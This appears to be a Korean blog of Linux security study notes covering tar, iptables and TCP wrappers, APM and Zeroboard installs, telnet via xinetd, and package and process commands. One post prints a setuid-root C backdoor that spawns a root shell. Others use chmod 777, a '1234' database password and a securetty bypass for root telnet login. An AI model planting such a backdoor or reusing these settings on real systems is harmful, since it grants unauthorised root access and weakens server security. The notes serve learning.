tar 명령어 옵션

 -z 

 gzip으로 압축하거나 해제함

 -x

 tar 압축을 풀기

 -v

 묶거나 파일을 풀 때 과정을 화면으로 출력

 -f

 파일 이름을 지정

 -c

 파일을 tar로 묶음

 -p

 파일 권한을 저장

 -C

 경로를 지정


tar 압축 : tar -cvf [파일명.tar] [폴더명]

tar 압축 풀기 : tar -xvf [파일명.tar]

tar.gz 압축 : tar -zcvf [파일명.tar.gz] [폴더명]

tar.gz 압축 풀기 : tar -zxvf [파일명.tar.gz]

'보안 > Linux' 카테고리의 다른 글

Linux -19 Firewall , TCP wrapper , Iptables  (0) 2016.04.18
Linux -18 Zeroboard  (0) 2016.04.18
Linux -17 APM , APM Install  (0) 2016.04.15
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12

리눅스 보안


-Firewall

기업이나 조직의 모든 정보가 컴퓨터에 저장되면서 ,컴퓨터의 정보 보안을 위해

외부에서 내부, 내부에서 외부의 정보통신망에 불법으로 접근하는 것을 차단하는 시스템


-TCP wrapper

특정 호스트가 해당 호스트의 데몬 서비스 접근 시 제어

/etc/hosts.deny //차단

/etc/hosts.allow //허가


deny (차단)

데몬명(서비스타입):IP

/etc/hosts.deny

ex)in.telnetd:192.168.0.XXX //특정아이피차단

ex)in.telnetd:ALL //모두 차단

ex)ALL:ALL //모든 서비스,접근하는 사용자 차단


allow (허가) //차단 보다 허가 우선순위가 높음

/etc/hosts.allow

ex)in.telnetd:192.168.0.XXX 


vi /etc/hosts.deny

ex)sshd:192.168.0.XXX //특정아이피 차단

ex)sshd:ALL // 모든 접근하는 사용자 차단

vi /etc/hosts.allow

ex)sshd:192.168.0.XXX //모두 차단된 경우 allow에 아이피 추가한다면 접근 가능


- Iptables


방화벽의 의미

특정 호스트가 해당 호스트에 접근하는 것을 제어


NAT 

네트워크 주소변환 서비스

SNAT: 내부 -> 외부

DNAT: 외부 -> 내부


Iptables Command


 -A 

 새로운 한가지 정책을 생성

 -D

 기존 한가지 정책을 삭제

 -L

 설정되어 있는 정책 목록 조회

 -F

 설정되어 있는 모든 정책 삭


-s : source address

-d : destination address

-p : protocol name

-i : input interface (INPUT, FORWARD chain에서 사용 가능)

-o : output interface (OUTPUT chain에서 사용 가능)

-j : command 이 후에 붙이는 옵션

ACCEPT : 패킷을 허용
DROP : 패킷을 허용하지 않으며, 허용하지 않는 메세지를 보내지 않음

-A INPUT -m state --state NEW -m tcp -p tcp -s 192.168.0.XXX --dport 80 -j DROP


-A 룰 추가, INPUT 들어오는 데이터, 기본으로 제공, -p tcp(프로토콜이름), -s 자기아이피(출발지), --dport 80(도착지포트) -j ACCEPT(허가)/DROP(차단)

'보안 > Linux' 카테고리의 다른 글

Linux -20 tar,gz 압축 & 압축풀기  (0) 2016.05.01
Linux -18 Zeroboard  (0) 2016.04.18
Linux -17 APM , APM Install  (0) 2016.04.15
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12

Zeroboard


- Zeroboard

웹사이트 관리 오픈 소스 소프트웨어

홈페이지 : http://www.xpressengine.com


- 설치

cd /var/www/html //html 디렉토리에서 !

wget xe-core.googlecode.com/files/xe.1.5.2.2.ko.tar.gz //파일 다운

tar -zxvf xe.1.5.2.2.ko.tar.gz // 압축 풀기

chmod 777 xe //xe 디렉토리 사용권한 변경

위 과정을 했을 시 화면


-MySQL 설정

#mysql -u root -p

mysql> create database zero; //제로보드용 DB생성

mysql> show databases; //DB생성 확인

mysql> flush privileges; //DB활성화 인식

mysql> exit //quit 사용 가능


- 웹상에서 설치 진행 

서버ip/xe //접속


1) 체크 2개 , 한국어 , 라이선스에 동의 클릭

2) 설치조건들이 "가능"인 것을 확인하고 설치를 진행 클릭

3) 다음 클릭

4) 내용 입력 후 다음 클릭

5) Korean Standard Time 으로 설정 , 다음 클릭

6) 내용 입력 후 완료 클릭 

7) 제로보드 설치 끝

'보안 > Linux' 카테고리의 다른 글

Linux -20 tar,gz 압축 & 압축풀기  (0) 2016.05.01
Linux -19 Firewall , TCP wrapper , Iptables  (0) 2016.04.18
Linux -17 APM , APM Install  (0) 2016.04.15
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12

APM


- Apache + Php + Mysql = APM

- Apache ? 

정식 명칭은 Apache HTTP server 

간단하게 설명 하자면 웹 서버 프로그램이다.


- Php ?

웹 프로그래밍을 위한 스크립트 언어

PHP 7 버전 까지 업데이트 되었다.

Microsoft 의 IIS , Apache 에서 사용 가능

PHP(C기반) 보안 기능이 JSP(Java기반) , ASP.NET(VB.NET , C#) 보다 떨어짐


- MySQL ?

표준 데이터베이스 질이어 SQL(Structured Query Language)을 사용

GNU GPL(GNU General Public License)과 상업용 라이선스의 이중 라이센스로 관리

상업적으로 사용할 때에는 상업용 라이선스를 구입해야 함.



APM Install


- 패키지 설치 : yum -y install httpd php mysql mysql-server gd gd-devel php-gd php-mysql 

- 웹서버 관리

service httpd start // httpd 데몬 시작

ps -ef | grep httpd //데몬 동작 확인


chkconfig --list | grep httpd // 활성화 여부 확인

chkconfig httpd on //httpd 리눅스 부팅 후 자동으로 시작 활성화 2:on 3:on 4:on 5:on  

2번 ~ 5번이 off 에서 on으로 변경되었으면 활성화가 된 것이다. 


chkconfig mysqld on //mysqld 리눅스 부팅 후 자동으로 시작 활성화

chkconfig --list | grep mysqld //활성화 여부 확인

service mysqld start // mysqld 데몬 시작

ps -ef | grep mysqld // mysqld 동작 확인

vi /etc/services // :/http로 검색 -> http 포트번호 확인


vi /etc/sysconfig/iptables // 방화벽에 80번포트 추가

service iptables restart //80번포트 추가 했으므로 재시작

리눅스 ip를 인터넷창에 입력 시 아래 화면이 나온다면 웹 서버 구축 끝






- 웹 서버 주요 파일

/usr/sbin/httpd  웹서버 데몬

/etc/rc.d/init.d/httpd 웹서버 데몬을 제어하기 위한 스크립트

/etc/httpd/conf/httpd.conf 웹서버 환경설정 파일

/var/log/httpd 웹서버 로그파일

/var/www/html 웹문서 디렉토리 (document root)


- Mysql 관리

service mysqld start //MySQL 데몬시작

ps -ef | grep mysqld // 데몬동작 확인

mysqladmin -u root password '1234' //MySQL 관리자 비밀번호 설정

mysql -u root -p // root 계정으로 로그인


- PHP 설정

vi /etc/httpd/conf/httpd.conf //웹서버가 PHP 문서를 서비스하기 위해 설정파일 수정

 //402라인, index.php index.htm 추가


//원본

AddType application/x-tar .tgz // 765라인 주석(#)제거, php, php소스파일 추가

AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

vi /etc/php.ini //php.ini 설정파일 수정

 //229라인, PHP 태그 설정 On

service httpd restart //설정 변경 후 재시작

cd /var/www/html
rm -rf ./index.html //html 디렉토리에 있는 index.html파일 삭제
vi ./index.php //vi 에디터로 index.php 파일을 생성
<?php
phpinfo();
?>
service httpd restart //설정 변경 후 재시작
리눅스 ip를 인터넷창에 입력하면 phpinfo 내용이 화면에 보인다.


'보안 > Linux' 카테고리의 다른 글

Linux -19 Firewall , TCP wrapper , Iptables  (0) 2016.04.18
Linux -18 Zeroboard  (0) 2016.04.18
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12
Linux -14 Package Install Ⅰ  (0) 2016.04.11

Daemon System Log


Daemon 이란?

시스템에 관련된 작업을 Background로 움직이는 프로그램 ( 서비스를 제공하는 프로그램 )


 Standalone (항상 실행)

 xinetd (요청 시 실행

 항상준비/메모리 부하/응답 속도 빠름

/etc/Init.d

sendmail , apache , mysql , name server , nfs

요청 시 준비/메모리 효율/읍답 속도 느림

/etc/xinetd.d

Telnet , PoP3


- Daemon 의 종류

HTTPD

TELNETD

SNMPD

SSHD

DHCPD


- Daemon의 설정 (Telnet)


yum -y intsall telnet-server //텔넷서버 설치


vi /etc/xinetd.d/telnet


# default: on

# description: The telnet server serves telnet sessions; it uses \

#       unencrypted username/password pairs for authentication.

service telnet  //telnet 이름을 바꿔주면 vi /etc/services telnet 이란 이름을 바꿔줘야함.

{

        flags           = REUSE

        socket_type   = stream

        wait            = no

        user            = root

        server          = /usr/sbin/in.telnetd  //실행 가능한 파일 , 실행 권한이 있어야함

        log_on_failure  += USERID

        disable         = no //원래 yes 였는데 no로 바꿔줌

}


* user가 server에 있는 파일을 실행하겠다. 즉, 관리자가 실행하겠다.




vi /etc/sysconfig/iptables // 방화벽 설정하는 파일


# Firewall configuration written by system-config-firewall

# Manual customization of this file is not recommended.

*filter

:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT // 기본적으로 제공

-A INPUT -m state --state NEW -m tcp -p tcp --dport 23 -j ACCEPT // 추가부분

-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited

COMMIT


-A //규칙을 추가한다

-m state --state NEW -m tcp //기본적으로 제공, 리눅스 버전마다 다름

INPUT //나한테 들어오는 것에 대한

-p tcp //tcp 허가

--dport //도착지 포트

ACCEPT //받아들임

DROP //차단


setup 명령어

방화벽 - > * 부분을 스페이스바로 설정

다시 setup 명령어로 방화벽쪽에 들어가서 스페이스바를 눌러주면 * 생김 -> quit 하면 다시 방화벽 수정했던게 원래대로 돌아온다.



1. 설정파일 수정 시 서비스 재시작  

   vi /etc/xinetd.d/telnet //설정

   vi /etc/services //포트번호 설정

   service xinetd restart //xinetd 재시작


2. 실행 여부 확인&포트 확인  

   netstat -ntlp //tcp  

   netstat -nulp //udp

   netstat -an //연결된 정보 확인


3. 내부에서 접속확인  

   telnet localhost

                  

4. 외부 접속 확인 -> 외부접속 불가 시 방화벽 체크

   vi /etc/sysconfig/iptables //방화벽 설정


5. 방화벽 변경 시 재시작 

   service iptables restart //방화벽 설정 재시작


window에서..


  프로그램 및 기능 - > Windows 기능 사용/사용 안함에서 텔넷 서비스 체크


  cmd 창 -> telnet ip주소 입력 // 연결이 안되면 방화벽문제


- 정리 -

vi /etc/xinetd.d/telnet //telnet설정

vi /etc/services //포트번호 설정

service xinetd restart // xinetd 재시작

netstat -ntlp //xinetd 포트번호 확인

vi /etc/sysconfig/iptables //방화벽 설정

service iptables restart //방화벽 설정 재시작


텔넷은 보안상 root 계정으로 로그인 할 수 없다.

root 계정으로 로그인하는 방법은 mv /etc/securetty /etc/securetty.bak 으로 바꾼다면 텔넷에서 root 계정으로 로그인이 가능하다.

'보안 > Linux' 카테고리의 다른 글

Linux -18 Zeroboard  (0) 2016.04.18
Linux -17 APM , APM Install  (0) 2016.04.15
Linux -15 Package Install Ⅱ  (0) 2016.04.12
Linux -14 Package Install Ⅰ  (0) 2016.04.11
Linux -13 Link , Vi Editor  (0) 2016.04.07

Package Install



- YUM //단점 : 항상 최신버전을 받아옴 , 원하는 버전을 다운 받을 수 없다.

rpm명령의 패키지 의존성 문제를 완전하게 해결됨.

인터넷을 통하여 필요한 파일을 저장소에서 자동으로 모두 다운로드해서 설치하는 방식

- YUM 기본적인 사용법

기본 설치 : yum install [패키지 이름]

ex) yum install mysql-server


* yum -y install [패키지 이름]//주로 이 명령어 사용

ex) yum install -y mysql-server mysql //mysql , mysql-server 설치

* -y 는 사용자의 확인을 모두 yes 로 간주하고 설치를 진행한다는 옵션


삭제 : yum remove [패키지 이름]

ex) yum remove mysql-server

ex) yum remove -y mysql-server mysql //mysql ,mysql-server 제거


RPM 파일 설치 : yum install [*.rpm 파일 이름]

업데이트 가능한 목록 보기 : yum check-update

업데이트 : yum update [패키지 이름]


DNS설정 안되어 있으면 yum명령어 설치 못함

    cat /etc/resolve.conf 확인하기


※ yum 명령어는 리눅스에서 한명 밖에 못씀

   :누가 yum명령어를 사용하고 있으면 다른 사람은 yum 명령어를 못씀


- YUM 고급 사용법

패키지 그룹 설치 : yum groupinstall [패키지 그룹 이름]

패키지 리스트 확인 : yum list [패키지 이름] // yum으로 설치할 수 있는 리스트를 보여줌

특정 파일이 속한 패키지 이름 확인 : yum provides [파일 이름]


- YUM 설정 파일 //특별한 경우가 아니면 건드릴 필요 없음

/etc/yum.conf 파일 : 변경할 필요 없음

/etc/yum/repos.d/ 디렉토리

yum이 작동하지 않을 경우 직접 파일의 내용을 수정해 주면 됨.

'보안 > Linux' 카테고리의 다른 글

Linux -17 APM , APM Install  (0) 2016.04.15
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -14 Package Install Ⅰ  (0) 2016.04.11
Linux -13 Link , Vi Editor  (0) 2016.04.07
Linux -12 Process Management Ⅱ  (0) 2016.04.06

Package Install


- 해당 주소의 웹에서 파일을 바로 다운로드 받는 명령어:wget [Option][Webaddress]

ex) wget www.naver.com //vi ./index.html확인 시 페이지 소스 보기하고 똑같은내용


 -r

 지정된 디렉토리의 하위 디렉토리 내용을 모두 다운

 -c

 취소된 설치 이어서 다운로드 //설치 중 취소 : ctrl + c

 -b

 백그라운드 설치 //디렉토리에 설치로그가 남음


- RPM(Redhat Package Manager)

Windows의 "setup.exe"와 비슷하게 프로그램을 설치한 후에 바로 실행

확장명은 *.rpm 이며, 이를 '패키지(Package)'라고 부름


- 파일의 의미


telnet-0.17-48.el6.i686.rpm

패키지명/버전/32비트   //64비트 : x86_64


- 자주 쓰이는 RPM 사용법


* rpm search 사이트에서 파일 찾기  

http://rpm.pbone.net/


- 설치 : rpm -Uvh [패키지 파일(*.rpm)]

U : (대문자) 패키지 설치/업그레이드

v : 설치과정의 확인

h : 설치진행과정을 "#"마크로 화면에 출력


- 삭제 : rpm -e [패키지 이름]

- 이미 설치된 패키지 질의 : rpm -qa [패키지 이름]

ex) rpm -qa | grep http //rpm -qa http 경우 안나옴

'보안 > Linux' 카테고리의 다른 글

Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12
Linux -13 Link , Vi Editor  (0) 2016.04.07
Linux -12 Process Management Ⅱ  (0) 2016.04.06
Linux -11 Backdoor , Process Management Ⅰ  (0) 2016.04.05

Link


- 하드 링크

동일한 inode 사용

원본 수정 시 하드링크도 수정됨

원본 삭제 시 살아 있음

원본의 이동이나 삭제 시 남아 있음

파일 복사와 차이는 공간을 차지하지 않음


- 심볼릭 링크

windows 바로가기 아이콘과 비슷

주로 사용자가 많이 사용

긴 디렉토리명 이동 시 유용

원본을 다른 곳으로 이동시키면 사용 못함

새로운 inode 생성

원본 자체 포인터 역할 뿐이므로, 원본 수정 시 수정된 파일이 보임

원본의 삭제 시 링크가 끊김


- Hard Link : ln [링크 원본파일] [링크 파일]

- Symbol Link : ln -s [링크 원본파일] [링크 파일]

- inode 보기 : ls -il , ls -i , ls -ali

* find / -inum [inode번호] -ls



Vi Editor



- 명령모드

Vi 기본모드

Vi 가 실행 되거나, 입력 모드에서 ESC 키

커서 이동, 문자열 수정, Copy & Paste

Enter 키 입력 불필요


  i

 커서 위치에서 입력 모드 변경 

 a

 커서 위치 우측 한칸에서 입력 모드 변경

 s

 커서 문자를 지우고 입력모드 변경

 x

 커서 위치 문자 삭제

 dd

 현재 커서 행 삭제

 yy

 현재 커서 라인 복사

 p

 복사 내용 현재 라인 이후 붙여넣기

 u

 되돌리기


- 실행모드


 :q

 종료 (무변경)

 :q!

 강제 종료 (변경 무시)

 :w

 저장 

 :wq

 저장 후 종료 

 ZZ

 저장 후 종료



- 라인번호 출력 및 해제

라인번호 출력 :set number == :set nu == :se nu

라인번호 해제 :set nonumber == :set nonu == :se nonu

찾고 싶은 라인번호 :[라인번호]


- 단어 찾기

/[단어] // 아래로 찾기, n을 누르면 다음 단어를 찾아준다.

?[단어] // 위로 찾기, N을 누르면 다음 단어를 찾아준다.

'보안 > Linux' 카테고리의 다른 글

Linux -15 Package Install Ⅱ  (0) 2016.04.12
Linux -14 Package Install Ⅰ  (0) 2016.04.11
Linux -12 Process Management Ⅱ  (0) 2016.04.06
Linux -11 Backdoor , Process Management Ⅰ  (0) 2016.04.05
Linux -10 Permissions  (0) 2016.04.04


Process Management


- 프로세스 종료 : kill [PID]

ex) kill -9 [PID] 

ex) killall -9 ping //ping이 들어간 모든 프로세스 종료


 -9 

 프로세스 강제 종료 

 -hup

 프로세스 정보 다시 읽어 들임


·CPU 정보

-System 정보 및 커널버전 확인 : uname -a


·메모리 정보

-MB단위 : free -m

-GB단위 : free -g


·하드디스크 용량 보기

-GB단위 : df -h


·프로세스 정보

ps -ef

ps aux

pstree


·프로세스별 CPU와 메모리 점유율 : top //시스템이 갑자기 느려졌을 때 사용

·시스템에 연결된 정보 : netstat

·최근 시스템 접속 정보 : last  

·네트워크 장치 설정 정보 : ifconfig

'보안 > Linux' 카테고리의 다른 글

Linux -14 Package Install Ⅰ  (0) 2016.04.11
Linux -13 Link , Vi Editor  (0) 2016.04.07
Linux -11 Backdoor , Process Management Ⅰ  (0) 2016.04.05
Linux -10 Permissions  (0) 2016.04.04
Linux -9 User Account Management Ⅱ  (0) 2016.04.01


Backdoor


- Backdoor 

일반사용자가 실행 시 관리자로 계정변환


backdoor.c


#include <stdio.h>

int main(){

setuid(0); // uid = 0 은 관리자

setgid(0); // gid = 0 은 관리자 그룹

system("/bin/bash"); //or system("/bin/sh"); 

return 0;

}


gcc ./backdoor.c -o ./backdoor  //backdoor.c 소스 코드를 컴파일하고 실행 파일을 빌드 한다.

chmod 4755 ./backdoor //setuid 허가권 + 소유자(rwx),그룹(r-x),그 외 사용자(r-x) => (4755/-rwsr-xr-x)

관리자가 아닌 계정이 이 파일을 실행하면 관리자 계정으로 변환 되고

로그아웃을 하면 다시 원래 계정으로 돌아온다.


Process Management


- Foreground

실행중인 포그라운드 작업을 백그라운드 작업으로 전환 : Ctrl + z

포그라운드 작업 취소 : Ctrl + c

백그라운드 작업을 포그라운드로 작업으로 전환 : fg  ex) fg [작업번호] or fg %[작업번호]


- Backgroud

실행 시간이 오래 걸리는 프로세스를 뒤로 보낼 때 명령어 뒤에 " & " 를 붙여서 실행

ex) ping localhost > /dev/null &

백그라운드 작업 실행 : bg ex) bg [작업번호] or bg %[작업번호]


- 작업리스트 보기 : jobs

* 백그라운드 마지막작업은 + 표시 , 백그라운드 마지막작업 전은 - 표시


- 현 프로세스 조회 : ps [Option]

ex) ps -ef   //간단히 보기 (윈도우-모든 사용자의 프로세스 표시 체크하는 경우랑 같음

ex) ps -aux //자세히 보기


/*

? : 부팅하면서 자동으로 실행

tty번호 : 가상머신 리눅스

pts/번호 : putty

CMD : 입력했던 명령어

*/

'보안 > Linux' 카테고리의 다른 글

Linux -13 Link , Vi Editor  (0) 2016.04.07
Linux -12 Process Management Ⅱ  (0) 2016.04.06
Linux -10 Permissions  (0) 2016.04.04
Linux -9 User Account Management Ⅱ  (0) 2016.04.01
Linux -8 User Account Management Ⅰ  (0) 2016.03.31

+ Recent posts